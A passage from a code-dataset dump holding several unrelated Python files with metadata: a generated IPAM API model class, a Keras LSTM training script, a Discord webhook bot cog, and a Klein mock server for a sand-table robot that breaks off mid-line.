self.front_end = front_end\n        if front_start is not None:\n            self.front_start = front_start\n        if growth is not None:\n            self.growth = growth\n        if id is not None:\n            self.id = id\n        if lookahead is not None:\n            self.lookahead = lookahead\n        if range_end is not None:\n            self.range_end = range_end\n        if range_id is not None:\n            self.range_id = range_id\n        if range_start is not None:\n            self.range_start = range_start\n        if subnet_address is not None:\n            self.subnet_address = subnet_address\n        if subnet_cidr is not None:\n            self.subnet_cidr = subnet_cidr\n        if subnet_direction is not None:\n            self.subnet_direction = subnet_direction\n        self.subnet_id = subnet_id\n        if subnet_range is not None:\n            self.subnet_range = subnet_range\n        if subnet_range_end is not None:\n            self.subnet_range_end = subnet_range_end\n        if subnet_range_start is not None:\n            self.subnet_range_start = subnet_range_start\n        if suppress is not None:\n            self.suppress = suppress\n        if suppress_time is not None:\n            self.suppress_time = suppress_time\n        if threshold_utilization is not None:\n            self.threshold_utilization = threshold_utilization\n        if update is not None:\n            self.update = update\n        if utilization is not None:\n            self.utilization = utilization\n\n    @property\n    def back_end(self):\n        \"\"\"Gets the back_end of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The back_end of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._back_end\n\n    @back_end.setter\n    def back_end(self, back_end):\n        \"\"\"Sets the back_end of this IpamsvcASM.\n\n\n        :param back_end: The back_end of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._back_end = back_end\n\n    @property\n    def back_start(self):\n        \"\"\"Gets the back_start of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The back_start of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._back_start\n\n    @back_start.setter\n    def back_start(self, back_start):\n        \"\"\"Sets the back_start of this IpamsvcASM.\n\n\n        :param back_start: The back_start of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._back_start = back_start\n\n    @property\n    def both_end(self):\n        \"\"\"Gets the both_end of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The both_end of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._both_end\n\n    @both_end.setter\n    def both_end(self, both_end):\n        \"\"\"Sets the both_end of this IpamsvcASM.\n\n\n        :param both_end: The both_end of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._both_end = both_end\n\n    @property\n    def both_start(self):\n        \"\"\"Gets the both_start of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The both_start of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._both_start\n\n    @both_start.setter\n    def both_start(self, both_start):\n        \"\"\"Sets the both_start of this IpamsvcASM.\n\n\n        :param both_start: The both_start of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._both_start = both_start\n\n    @property\n    def front_end(self):\n        \"\"\"Gets the front_end of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The front_end of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._front_end\n\n    @front_end.setter\n    def front_end(self, front_end):\n        \"\"\"Sets the front_end of this IpamsvcASM.\n\n\n        :param front_end: The front_end of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._front_end = front_end\n\n    @property\n    def front_start(self):\n        \"\"\"Gets the front_start of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The front_start of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._front_start\n\n    @front_start.setter\n    def front_start(self, front_start):\n        \"\"\"Sets the front_start of this IpamsvcASM.\n\n\n        :param front_start: The front_start of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._front_start = front_start\n\n    @property\n    def growth(self):\n        \"\"\"Gets the growth of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The growth of this IpamsvcASM.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._growth\n\n    @growth.setter\n    def growth(self, growth):\n        \"\"\"Sets the growth of this IpamsvcASM.\n\n\n        :param growth: The growth of this IpamsvcASM.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._growth = growth\n\n    @property\n    def id(self):\n        \"\"\"Gets the id of this IpamsvcASM.  # noqa: E501\n\n        The resource identifier.  # noqa: E501\n\n        :return: The id of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._id\n\n    @id.setter\n    def id(self, id):\n        \"\"\"Sets the id of this IpamsvcASM.\n\n        The resource identifier.  # noqa: E501\n\n        :param id: The id of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._id = id\n\n    @property\n    def lookahead(self):\n        \"\"\"Gets the lookahead of this IpamsvcASM.  # noqa: E501\n\n        RO: either the value from the ASM configuration or -1 if the estimate is that utilization will not exceed the threshold.  # noqa: E501\n\n        :return: The lookahead of this IpamsvcASM.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._lookahead\n\n    @lookahead.setter\n    def lookahead(self, lookahead):\n        \"\"\"Sets the lookahead of this IpamsvcASM.\n\n        RO: either the value from the ASM configuration or -1 if the estimate is that utilization will not exceed the threshold.  # noqa: E501\n\n        :param lookahead: The lookahead of this IpamsvcASM.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._lookahead = lookahead\n\n    @property\n    def range_end(self):\n        \"\"\"Gets the range_end of this IpamsvcASM.  # noqa: E501\n\n        RW: The end IP Address of the range.  # noqa: E501\n\n        :return: The range_end of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._range_end\n\n    @range_end.setter\n    def range_end(self, range_end):\n        \"\"\"Sets the range_end of this IpamsvcASM.\n\n        RW: The end IP Address of the range.  # noqa: E501\n\n        :param range_end: The range_end of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._range_end = range_end\n\n    @property\n    def range_id(self):\n        \"\"\"Gets the range_id of this IpamsvcASM.  # noqa: E501\n\n        The resource identifier.  # noqa: E501\n\n        :return: The range_id of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._range_id\n\n    @range_id.setter\n    def range_id(self, range_id):\n        \"\"\"Sets the range_id of this IpamsvcASM.\n\n        The resource identifier.  # noqa: E501\n\n        :param range_id: The range_id of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._range_id = range_id\n\n    @property\n    def range_start(self):\n        \"\"\"Gets the range_start of this IpamsvcASM.  # noqa: E501\n\n        RW: The start IP Address of the range.  # noqa: E501\n\n        :return: The range_start of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._range_start\n\n    @range_start.setter\n    def range_start(self, range_start):\n        \"\"\"Sets the range_start of this IpamsvcASM.\n\n        RW: The start IP Address of the range.  # noqa: E501\n\n        :param range_start: The range_start of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._range_start = range_start\n\n    @property\n    def subnet_address(self):\n        \"\"\"Gets the subnet_address of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The subnet_address of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._subnet_address\n\n    @subnet_address.setter\n    def subnet_address(self, subnet_address):\n        \"\"\"Sets the subnet_address of this IpamsvcASM.\n\n\n        :param subnet_address: The subnet_address of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._subnet_address = subnet_address\n\n    @property\n    def subnet_cidr(self):\n        \"\"\"Gets the subnet_cidr of this IpamsvcASM.  # noqa: E501\n\n        RO: The CIDR of the Subnet object.  # noqa: E501\n\n        :return: The subnet_cidr of this IpamsvcASM.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._subnet_cidr\n\n    @subnet_cidr.setter\n    def subnet_cidr(self, subnet_cidr):\n        \"\"\"Sets the subnet_cidr of this IpamsvcASM.\n\n        RO: The CIDR of the Subnet object.  # noqa: E501\n\n        :param subnet_cidr: The subnet_cidr of this IpamsvcASM.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._subnet_cidr = subnet_cidr\n\n    @property\n    def subnet_direction(self):\n        \"\"\"Gets the subnet_direction of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The subnet_direction of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._subnet_direction\n\n    @subnet_direction.setter\n    def subnet_direction(self, subnet_direction):\n        \"\"\"Sets the subnet_direction of this IpamsvcASM.\n\n\n        :param subnet_direction: The subnet_direction of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._subnet_direction = subnet_direction\n\n    @property\n    def subnet_id(self):\n        \"\"\"Gets the subnet_id of this IpamsvcASM.  # noqa: E501\n\n        The resource identifier.  # noqa: E501\n\n        :return: The subnet_id of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._subnet_id\n\n    @subnet_id.setter\n    def subnet_id(self, subnet_id):\n        \"\"\"Sets the subnet_id of this IpamsvcASM.\n\n        The resource identifier.  # noqa: E501\n\n        :param subnet_id: The subnet_id of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n        if subnet_id is None:\n            raise ValueError(\"Invalid value for `subnet_id`, must not be `None`\")  # noqa: E501\n\n        self._subnet_id = subnet_id\n\n    @property\n    def subnet_range(self):\n        \"\"\"Gets the subnet_range of this IpamsvcASM.  # noqa: E501\n\n        The resource identifier.  # noqa: E501\n\n        :return: The subnet_range of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._subnet_range\n\n    @subnet_range.setter\n    def subnet_range(self, subnet_range):\n        \"\"\"Sets the subnet_range of this IpamsvcASM.\n\n        The resource identifier.  # noqa: E501\n\n        :param subnet_range: The subnet_range of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._subnet_range = subnet_range\n\n    @property\n    def subnet_range_end(self):\n        \"\"\"Gets the subnet_range_end of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The subnet_range_end of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._subnet_range_end\n\n    @subnet_range_end.setter\n    def subnet_range_end(self, subnet_range_end):\n        \"\"\"Sets the subnet_range_end of this IpamsvcASM.\n\n\n        :param subnet_range_end: The subnet_range_end of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._subnet_range_end = subnet_range_end\n\n    @property\n    def subnet_range_start(self):\n        \"\"\"Gets the subnet_range_start of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The subnet_range_start of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._subnet_range_start\n\n    @subnet_range_start.setter\n    def subnet_range_start(self, subnet_range_start):\n        \"\"\"Sets the subnet_range_start of this IpamsvcASM.\n\n\n        :param subnet_range_start: The subnet_range_start of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._subnet_range_start = subnet_range_start\n\n    @property\n    def suppress(self):\n        \"\"\"Gets the suppress of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The suppress of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._suppress\n\n    @suppress.setter\n    def suppress(self, suppress):\n        \"\"\"Sets the suppress of this IpamsvcASM.\n\n\n        :param suppress: The suppress of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._suppress = suppress\n\n    @property\n    def suppress_time(self):\n        \"\"\"Gets the suppress_time of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The suppress_time of this IpamsvcASM.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._suppress_time\n\n    @suppress_time.setter\n    def suppress_time(self, suppress_time):\n        \"\"\"Sets the suppress_time of this IpamsvcASM.\n\n\n        :param suppress_time: The suppress_time of this IpamsvcASM.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._suppress_time = suppress_time\n\n    @property\n    def threshold_utilization(self):\n        \"\"\"Gets the threshold_utilization of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The threshold_utilization of this IpamsvcASM.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._threshold_utilization\n\n    @threshold_utilization.setter\n    def threshold_utilization(self, threshold_utilization):\n        \"\"\"Sets the threshold_utilization of this IpamsvcASM.\n\n\n        :param threshold_utilization: The threshold_utilization of this IpamsvcASM.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._threshold_utilization = threshold_utilization\n\n    @property\n    def update(self):\n        \"\"\"Gets the update of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The update of this IpamsvcASM.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._update\n\n    @update.setter\n    def update(self, update):\n        \"\"\"Sets the update of this IpamsvcASM.\n\n\n        :param update: The update of this IpamsvcASM.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._update = update\n\n    @property\n    def utilization(self):\n        \"\"\"Gets the utilization of this IpamsvcASM.  # noqa: E501\n\n\n        :return: The utilization of this IpamsvcASM.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._utilization\n\n    @utilization.setter\n    def utilization(self, utilization):\n        \"\"\"Sets the utilization of this IpamsvcASM.\n\n\n        :param utilization: The utilization of this IpamsvcASM.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._utilization = utilization\n\n    def to_dict(self):\n        \"\"\"Returns the model properties as a dict\"\"\"\n        result = {}\n\n        for attr, _ in six.iteritems(self.swagger_types):\n            value = getattr(self, attr)\n            if isinstance(value, list):\n                result[attr] = list(map(\n                    lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n                    value\n                ))\n            elif hasattr(value, \"to_dict\"):\n                result[attr] = value.to_dict()\n            elif isinstance(value, dict):\n                result[attr] = dict(map(\n                    lambda item: (item[0], item[1].to_dict())\n                    if hasattr(item[1], \"to_dict\") else item,\n                    value.items()\n                ))\n            else:\n                result[attr] = value\n        if issubclass(IpamsvcASM, dict):\n            for key, value in self.items():\n                result[key] = value\n\n        return result\n\n    def to_str(self):\n        \"\"\"Returns the string representation of the model\"\"\"\n        return pprint.pformat(self.to_dict())\n\n    def __repr__(self):\n        \"\"\"For `print` and `pprint`\"\"\"\n        return self.to_str()\n\n    def __eq__(self, other):\n        \"\"\"Returns true if both objects are equal\"\"\"\n        if not isinstance(other, IpamsvcASM):\n            return False\n\n        return self.__dict__ == other.__dict__\n\n    def __ne__(self, other):\n        \"\"\"Returns true if both objects are not equal\"\"\"\n        return not self == other\n", "repo_name": "uuand/ibcsp_ipamsvc", "sub_path": "ibcsp_ipamsvc/models/ipamsvc_asm.py", "file_name": "ipamsvc_asm.py", "file_ext": "py", "file_size_in_byte": 20908, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "six.iteritems", "line_number": 690, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 715, "usage_type": "call"}]}
{"seq_id": "21195472599", "text": "# coding:utf-8\n'''\n@time:    Created on  2018-06-26 21:15:24\n@author:  Lanqing\n@Func:    使用简单模型实现复杂LSTM功能\n                              和 FCN-LSTM使用相同数据源，一来节省时间，二来验证模型有效性，三来避免模型太复杂导致中间环节出问题。\n          simple is best.\n'''\n\nimport pickle\n    \n##### 加载参数，全局变量\nwith open('D:/Pycharm Projects/CODE/Android/config.pkl', 'rb') as f:  # Python 3: open(..., 'rb')\n    \n    dict_all_parameters = pickle.load(f)\n\n    train_tmp = dict_all_parameters['train_tmp']\n    test_ratio = dict_all_parameters['test_ratio'] \n    test_ratio = dict_all_parameters['test_ratio'] \n    window_length = dict_all_parameters['window_length']\n    epochs = dict_all_parameters['epochs'] \n    n_splits = dict_all_parameters['n_splits'] \n    model_folder = dict_all_parameters['model_folder'] \n    whether_shuffle_train_and_test = dict_all_parameters['whether_shuffle_train_and_test'] \n    NB_CLASS = dict_all_parameters['NB_CLASS']\n    units = dict_all_parameters['units'] \n    batch_size = dict_all_parameters['batch_size'] \n    train_batch_size = dict_all_parameters['train_batch_size'] \n    MAX_NB_VARIABLES = dict_all_parameters['MAX_NB_VARIABLES']\n\nfrom CODE.Android.o7_baseline_traditional import validatePR\nfrom keras.callbacks import ModelCheckpoint, ReduceLROnPlateau\n\nimport keras\nimport sklearn.utils.class_weight\nfrom keras.layers import LSTM\nfrom keras.layers.core import Dropout, Dense, Activation\nfrom keras.models import Sequential\nfrom keras.preprocessing import sequence\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn import metrics\nimport numpy as np\nfrom collections import Counter\n\nmonitor = 'val_acc'\noptimization_mode = 'max'\nfactor = 1. / np.sqrt(2)  # not time series 1. / np.sqrt(2)\n\ndef get_model():\n    model = Sequential()\n    model.add(LSTM(input_shape=(window_length, batch_size), units=units))\n    model.add(Dropout(0.8))\n    model.add(Dense(NB_CLASS, activation='softmax'))\n    model.summary()\n    optimize = keras.optimizers.Adam(lr=0.00005, beta_1=0.9, beta_2=0.999, decay=0.01)  # lr=0.005, beta_1=0.9, beta_2=0.999, decay=0.01)\n    # optimize = keras.optimizers.sgd()  # lr=0.005, beta_1=0.9, beta_2=0.999, decay=0.01)\n    \n    model.compile(loss='categorical_crossentropy', optimizer=optimize, metrics=['accuracy'])\n    # model.compile(loss='mean_squared_error', optimizer=optimize, metrics=['accuracy'])\n    return model\n\ndef get_data():\n    ###### 使用 prepare.py 处理好的、给FCN用的数据\n    ###### 是没有OneHot的数据\n    # data = np.load(train_tmp + 'data.npy')\n    # label = np.load(train_tmp + 'label.npy')\n    X_train = np.load(train_tmp + 'X_train.npy')\n    y_train = np.load(train_tmp + 'y_train.npy')\n    X_test = np.load(train_tmp + 'X_test.npy')\n    y_test = np.load(train_tmp + 'y_test.npy') \n    return X_train[:, :window_length], y_train, X_test[:, :window_length], y_test\n\ndef get_full_dataset():\n    ###### 使用 prepare.py 处理好的、给FCN用的数据\n    ###### 是没有OneHot的数据\n    # data = np.load(train_tmp + 'data.npy')\n    # label = np.load(train_tmp + 'label.npy')\n    X_train = np.load(train_tmp + 'X_train.npy')\n    y_train = np.load(train_tmp + 'y_train.npy')\n    X_test = np.load(train_tmp + 'X_test.npy')\n    y_test = np.load(train_tmp + 'y_test.npy') \n    return X_train, y_train, X_test, y_test\n\n\ndef oneHot2List(labelOneHot):\n    y_list = []\n    for item in labelOneHot:\n        y_list.append(np.argmax(item))\n    return y_list\n\ndef get_weight(list_y):\n    \n    from sklearn.preprocessing import LabelEncoder\n\n    classes = np.unique(list_y)\n    le = LabelEncoder()\n    y_ind = le.fit_transform(list_y)\n\n    recip_freq = len(list_y) / (len(le.classes_) * \n                               np.bincount(y_ind).astype(np.float64))\n    class_weight = recip_freq[le.transform(classes)]\n    print(\"Class weights : \", class_weight)\n    \n    return class_weight\n\ndef train_lstm():\n    \n    X_train, y_train, X_test_left, y_test_left = get_data()\n    X, y = X_train, y_train\n    model = get_model()\n    \n    ######## 细粒度定义模型\n    weight_fn = \"%s/%s_lstm_weights.h5\" % (model_folder, train_tmp.split('/')[-2])\n    print(weight_fn)\n    model_checkpoint = ModelCheckpoint(weight_fn, verbose=1, mode=optimization_mode,\n                                       monitor=monitor, save_best_only=True, save_weights_only=True)\n    reduce_lr = ReduceLROnPlateau(monitor=monitor, patience=100, mode=optimization_mode,\n                                  factor=factor, cooldown=0, min_lr=1e-4, verbose=2)\n    callback_list = [model_checkpoint, reduce_lr]\n\n    \n    # y_oneHot = keras.utils.to_categorical(y)\n    print('after one hot,y shape:', y.shape)\n    \n    skf_cv = StratifiedKFold(n_splits=n_splits, shuffle=True, random_state=10)\n    scores_accu, scores_f1 = [], []\n\n    for i in range(2):\n                \n        # X_train, X_test = X[train_index], X[test_index]\n        # y_train, y_test = y[train_index], y[test_index]\n        \n        print('\\n##########第%d次训练############\\n' % i)\n        print(dict(Counter(y_train[:, 0])))\n        weight_dict = get_weight(list(y_train[:, 0]))\n        \n        y_train_new = keras.utils.to_categorical(y_train)\n        y_test = keras.utils.to_categorical(y_test_left)\n        \n        model.fit(X_train, y_train_new, batch_size=train_batch_size, epochs=20, verbose=1)  # , validation_data=(X_validate, y_validate))  # , class_weight=weight_dict)\n        predict_y = model.predict(X_test_left) \n        predict_y = oneHot2List(predict_y)\n        actual_y = oneHot2List(y_test)\n        \n        _, _, F1Score, _, accuracy_all = validatePR(predict_y, actual_y) \n        print(accuracy_all, F1Score)\n        scores_accu.append(accuracy_all)\n        scores_f1.append(scores_f1)\n\n    print (' \\n accuracy_all: \\n', scores_accu, '\\nMicro_average:  \\n', scores_f1)  # judge model,get score\n    \n    #### 使用全部数据，使用保存的，模型进行实验\n    predict_y_left = model.predict(X_test_left)  # now do the final test\n    predict_y_left = oneHot2List(predict_y_left)\n    s1 = metrics.accuracy_score(y_test_left, predict_y_left)\n    f2 = metrics.confusion_matrix(y_test_left, predict_y_left)\n    np.savetxt(model_folder + 'lstm_train_test_confusion_matrix.csv', f2.astype(int), delimiter=',', fmt='%d')\n    print ('accuracy_all:', s1, '\\tfinal confusion matrix:\\n', f2)\n\n    return s1\n\nif __name__ == '__main__':\n    train_lstm()\n", "repo_name": "Master-Chen-Xin-Qi/Magthief", "sub_path": "Android/o7_baseline_LSTM.py", "file_name": "o7_baseline_LSTM.py", "file_ext": "py", "file_size_in_byte": 6546, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pickle.load", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 51, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 52, "usage_type": "call"}, {"api_name": "keras.layers.core.Dropout", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.layers.core.Dense", "line_number": 54, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 96, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 101, "usage_type": "attribute"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 116, "usage_type": "call"}, {"api_name": "keras.callbacks.ReduceLROnPlateau", "line_number": 118, "usage_type": "call"}, {"api_name": "sklearn.model_selection.StratifiedKFold", "line_number": 126, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 135, "usage_type": "call"}, {"api_name": "keras.utils.to_categorical", "line_number": 138, "usage_type": "call"}, {"api_name": "keras.utils", "line_number": 138, "usage_type": "attribute"}, {"api_name": "keras.utils.to_categorical", "line_number": 139, "usage_type": "call"}, {"api_name": "keras.utils", "line_number": 139, "usage_type": "attribute"}, {"api_name": "CODE.Android.o7_baseline_traditional.validatePR", "line_number": 146, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 156, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 156, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 157, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 157, "usage_type": "name"}, {"api_name": "numpy.savetxt", "line_number": 158, "usage_type": "call"}]}
{"seq_id": "13226382483", "text": "from discord import Webhook, RequestsWebhookAdapter\nfrom discord.ext import commands\n\n\nclass WebHooks(commands.Cog, name=\"WebHooks\"):\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.command(name=\"send\")\n    async def send(self, ctx, *, message):\n        \"\"\"Send a message as a webhook\"\"\"\n        looking_webhooks = await ctx.channel.webhooks()\n        if looking_webhooks:\n            for webhook in looking_webhooks:\n                if webhook.name == \"NexInfinite-GitHub\":\n                    await send_webhook(webhook, message, ctx)\n                    return\n                else:\n                    pass\n        webhook = await ctx.channel.create_webhook(name=\"NexInfinite-GitHub\")\n        await send_webhook(webhook, message, ctx)\n        return\n\n\ndef setup(bot):\n    bot.add_cog(WebHooks(bot))\n\n\nasync def send_webhook(webhook, message, ctx):\n    webhook_id = webhook.id\n    webhook_token = webhook.token\n    webhook = Webhook.partial(int(webhook_id),\n                              f\"{webhook_token}\",\n                              adapter=RequestsWebhookAdapter())\n    webhook.send(f'{message}', username=f\"{ctx.author.display_name}\",\n                 avatar_url=ctx.author.avatar_url)  # Sends the message as the author\n    delete_array = [ctx.message]\n    await ctx.channel.delete_messages(delete_array)  # Remove the command to make things look cleaner - optional\n", "repo_name": "NexInfinite/DiscordBotHelp", "sub_path": "Webhooks/Cog/webhooks.py", "file_name": "webhooks.py", "file_ext": "py", "file_size_in_byte": 1396, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 5, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 5, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 9, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 9, "usage_type": "name"}, {"api_name": "discord.Webhook.partial", "line_number": 32, "usage_type": "call"}, {"api_name": "discord.Webhook", "line_number": 32, "usage_type": "name"}, {"api_name": "discord.RequestsWebhookAdapter", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "32463484300", "text": "from twisted.web.static import File\nfrom twisted.internet.defer import succeed\nfrom klein import run, route\nimport json\nimport os\nimport cgi\nfrom os.path import isfile, join\nimport re\n\nstSettings = {\n    \"maxCfgLen\": 2000,\n    \"name\": \"Sand Table\",\n    \"startup\": \"\"\n}\n\nstFileInfo = {\n    \"rslt\":\"ok\",\n    \"fsName\":\"sd\",\n    \"fsBase\":\"/sd\",\n    \"diskSize\":1374476,\n    \"diskUsed\":1004,\n    \"folder\":\"/sd/\",\n    \"files\":\n        [\n            # {\"name\": \"/test1.gcode\", \"size\": 79},\n            # {\"name\": \"/pattern.param\", \"size\": 200},\n            # {\"name\": \"/robot.json\", \"size\": 47}\n        ]\n\n        }\n\nstStatus = {}\n\nstEvents = {}\n\nstRobotTypes = [\"SandTableScaraPiHat2\",\"SandTableScaraPiHat3.6\",\"SandTableScaraPiHat4\",\"SandTableScaraMatt\",\"XYBot\"]\n\n# stFile1 = {\n#         \"setup\": \"angle=0;diam=10\",\n#         \"loop\": \"x=diam*sin(angle*3);y=diam*cos(angle*3);diam=diam+0.5;angle=angle+0.0314;stop=angle>6.28\"\n#         }\n#\n# stFile2 = \"This is test text\\nand another line of it\\nand more ...\"\n#\n# stFile3 = {\"robotConfig\":{\"robotType\":\"SandTableScara\",\"cmdsAtStart\":\"\",\"homingSeq\":\"A-10000n;B10000;#;A+10000N;B-10000;#;A+500;B-500;#;B+10000n;#;B-10000N;#;B-1050;#;A=h;B=h;$\",\"maxHomingSecs\":120,\"stepEnablePin\":\"4\",\"stepEnLev\":1,\"stepDisableSecs\":10,\"blockDistanceMM\":1,\"allowOutOfBounds\":1,\"axis0\":{\"stepPin\":\"14\",\"dirnPin\":\"13\",\"maxSpeed\":75,\"maxAcc\":50,\"stepsPerRot\":9600,\"unitsPerRot\":628.318,\"maxVal\":185,\"endStop0\":{\"sensePin\":\"36\",\"actLvl\":0,\"inputType\":\"INPUT_PULLUP\"}},\"axis1\":{\"stepPin\":\"15\",\"dirnPin\":\"21\",\"maxSpeed\":75,\"maxAcc\":50,\"stepsPerRot\":9600,\"unitsPerRot\":628.318,\"maxVal\":185,\"endStop0\":{\"sensePin\":\"39\",\"actLvl\":0,\"inputType\":\"INPUT_PULLUP\"}}},\"patterns\":{},\"sequences\":{},\"name\":\"\"}\n\n@route('/files/sd', branch=True)\ndef staticSd(request):\n    return(File(\"./testfiles/sd\"))\n\n# @route('/files', branch=True)\n# def staticFiles(request):\n#     return File(\"./testfiles\")\n\n@route('/getsettings', branch=False)\ndef getsettings(request):\n    return json.dumps(stSettings)\n\n@route('/getRobotTypes', branch=False)\ndef getRobotTypes(request):\n    return json.dumps(stRobotTypes)\n\n@route('/status', branch=False)\ndef getstatus(request):\n    return json.dumps(stStatus)\n\n@route('/events', branch=False)\ndef getevents(request):\n    return json.dumps(stEvents)\n\n@route('/filelist/', branch=False)\ndef filelist(request):\n    stFileInfo[\"files\"] = [{\"name\":f,\"size\":1234} for f in os.listdir(\"./testfiles/sd/\") if isfile(join(\"./testfiles/sd/\", f))]\n    return json.dumps(stFileInfo)\n\n# @route('/fileread/<string:fileName>', branch=False)\n# def fileread(request, fileName):\n#     print(\"fileread \", fileName)\n#     if (fileName == \"test1.gcode\"):\n#         return stFile2\n#     elif (fileName == \"pattern.param\"):\n#         return json.dumps(stFile1)\n#     elif (fileName == \"robot.json\"):\n#         return json.dumps(stFile3)\n#     return json.dumps({\"rslt\":\"fail\"})\n\n@route('/uploadtofileman', methods=['POST'])\ndef uploadtofileman(request):\n    method = request.method.decode('utf-8').upper()\n    content_type = 